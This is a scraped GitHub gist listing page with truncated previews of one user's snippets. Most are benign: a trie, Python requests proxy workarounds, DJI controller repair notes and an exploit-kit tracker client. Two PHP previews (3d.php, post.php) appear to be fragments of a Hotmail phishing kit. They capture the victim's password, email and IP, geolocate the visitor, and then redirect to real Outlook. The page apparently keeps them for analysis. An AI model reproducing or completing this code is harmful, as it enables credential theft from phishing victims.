Instantly share code, notes, and snippets.

View trie.py
"""
trie.py
@brad_anton
Go back to college, kid!
"""
class Node(object):
def __init__(self, value, parent=None):
self.value = value
View requests_connect_with_headers_using_pacfile.py
"""
requests_connect_with_headers_using_pacfile.py
@brad_anton
Certain proxy servers require Full HTTP headers to be included in the
HTTP CONNECT request, however requests seems to split these up into
multiple packets. This work around combines the headers and connect into
a single send().
Documented in:
View requests_connect_with_headers.py
"""
requests_connect_with_headers.py
@brad_anton
Certain proxy servers require the Full HTTP request to be included in
the same packet as the HTTP CONNECT, however requests seems to split
these up into multiple packets. This work around combines the headers
and connect into a single send().
Documented here: https://github.com/requests/requests/issues/4884
View requests_connect_over_https.py
"""
requests_connect_over_https.py
@brad_anton
This is a creative way to force python requests' module to issue a Proxy
CONNECT over HTTPS. Also allows you to define proxy headers and other goodies
Warning: This was only tested partially
"""
View gl300c_no_lights.md

Symptoms

  • No lights on controller
  • Does not respond to charge
  • No key/button combinations seem to make it work

Battery Problems

The DJI Phantom controllers (Phantom 3, Phantom 3 Advanced, and reportedly some Phantom 4's) seem to have a problem with their batteries where they refuse to charge. If the controller doesnt respond to charge or the power button, it is likely your battery is experiencing this issue. (Scroll down to "Getting the lights to turn on" first before replacing the battery)

Under Warranty

If your Phantom is under warranty (within 1? year of purchase and can provide proof), open a case with support, they'll have you ship the controller back and in about 1-2 months, you'll get it back with a new battery.

View 3d.php
<?php
session_start();
$country = visitor_country();
$ip = $_SERVER['REMOTE_ADDR'];
$login = $_SESSION['clientemail'];
$passwd = $_POST['passwd'];
$sender = 'Hotmail-3D@serverX.com';
$over = 'https://outlook.live.com/owa/?path=/mail/inbox';
View post.php
<?php
$ip = getenv("REMOTE_ADDR");
//Get IP Country City
$url = "http://api.ipinfodb.com/v3/ip-country/?key=bdf624a70b290f75ecdf08f61ba30bb97b946fcd08a5dd35eeaabbc7b6b3f354&ip=$ip";
$url = "http://api.ipinfodb.com/v3/ip-city/?key=bdf624a70b290f75ecdf08f61ba30bb97b946fcd08a5dd35eeaabbc7b6b3f354&ip=$ip";
$ipCountryCityInfo = file_get_contents($url);
//
View spamregurg.py
import httplib2
import os
import base64
import email
import re
from apiclient import errors
from apiclient import discovery
from oauth2client import client
from oauth2client import tools
View README.md

Client Library

An example client library can be found in client.py. To use:

>>> from client import ektracker_client
>>> e = ektracker_client('your_api_key') 

>>> e.add_tag('rig', 'rig exploit kit', [ 'http://www.google.com/', 'http://www.test.com' ], ['.*', '[a-f]{1,}'])
Uploading Tag: {'signatures': ['.*', '[a-f]{1,}'], 'references': ['http://www.google.com/', 'http://www.test.com'], 'name': 'rig', 'description': 'rig exploit kit'}
View README.md
sudo apt-get install cmake
curl -L -O https://github.com/trendmicro/tlsh/archive/v3.4.5.zip
unzip v3.4.5.zip
cd tlsh-3.4.5/
bash make.sh

Python module